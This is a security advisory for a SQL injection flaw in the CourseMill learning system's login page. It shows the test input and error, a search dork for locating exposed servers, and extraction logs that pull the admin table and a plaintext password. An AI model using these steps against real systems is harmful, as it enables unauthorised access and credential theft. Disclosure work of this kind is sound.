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• Trivantis CourseMill Enterprise Learning Management System - SQL Injection - CVE-2007-6338 +
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DISCOVERED BY:

sasquatch of SecureState - [email protected]

HOMEPAGE:

www.securestate.com

AFFECTED AREA:

The username field on the login page is susceptible to SQL injection…

http://www.website.com/coursemill/userlogin.jsp seems to be the default login page.

Impact: Full data dump of underlying database —> Username/Passwords ~~~> ???

username: '
password: test

An unrecoverable error has occurred.
Please report this message to your system administrator.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Exit
©2006 Trivantis Corporation. Trivantis and CourseMill are registered trademarks of Trivantis. All Rights Reserved.

EXPLOITATION:

Exploiter Beta from WatchFire's AppScan eXtensions Framework can be used to pull ALL data from the underlying database.

This is a free tool available from http://axf.watchfire.com/extensions/exploiter.aspx

The logins are unencrypted and stored in the "Admin" table. Column names are: ID, LastLogin, OrgId, Passsword.

This was found during a penetration test and was not tested as to whether or not further exploitation from inside the application is possible.

CONFIRMED AGAINST:

CourseMill Enterprise v.4.1 SP4 (4527) (http://www.trivantis.com/products/coursemill.html)

EXAMPLE GOOGLEDORK:

"Trivantis and CourseMill are registered trademarks of Trivantis"

VENDOR INFORMATION:

Trivantis Corporation
311 Elm Street Suite 200
Cincinnati, OH 45202
877-929-0188
513-929-0188
http://www.trivantis.com

Vendor notified on 12-13-07 and the product development manager was uncooperative and hung up on us.

Sample Query Logs from Exploiter Beta:

QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin')
Column found: table=Admin, column=ID
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'ID'
Column found: table=Admin, column=LastLogin
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'LastLogin'
Column found: table=Admin, column=OrgId
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'OrgId'
Column found: table=Admin, column=Password
QUERY = SELECT MIN(isnull(name,'')) FROM syscolumns WHERE xtype NOT IN (173,34,98,165,60) AND id=(SELECT id FROM sysobjects WHERE name='Admin') AND name>'Password'
Extracting records for table=Admin…
Exploit method is now Convert
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT ID)) FROM Admin
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT LastLogin)) FROM Admin
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT OrgId)) FROM Admin
QUERY = SELECT TOP 1 convert(nvarchar(16),COUNT(DISTINCT Password)) FROM Admin
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(ID,'')))) FROM Admin
Value found: table=Admin, column=ID, value=admin
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(LastLogin,'')))) FROM Admin WHERE RTRIM(convert(nvarchar(255),isnull(ID,'')))='admin'
Value found: table=Admin, column=LastLogin, value=Oct 7 2007 2:45AM
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(OrgId,'')))) FROM Admin WHERE RTRIM(convert(nvarchar(255),isnull(ID,'')))='admin'
Value found: table=Admin, column=OrgId, value=
QUERY = SELECT MIN(RTRIM(convert(nvarchar(255),isnull(Password,'')))) FROM Admin WHERE RTRIM(convert(nvarchar(255),isnull(ID,'')))='admin'
Value found: table=Admin, column=Password, value=admin

Etc…

and proceeds to dump the entire database…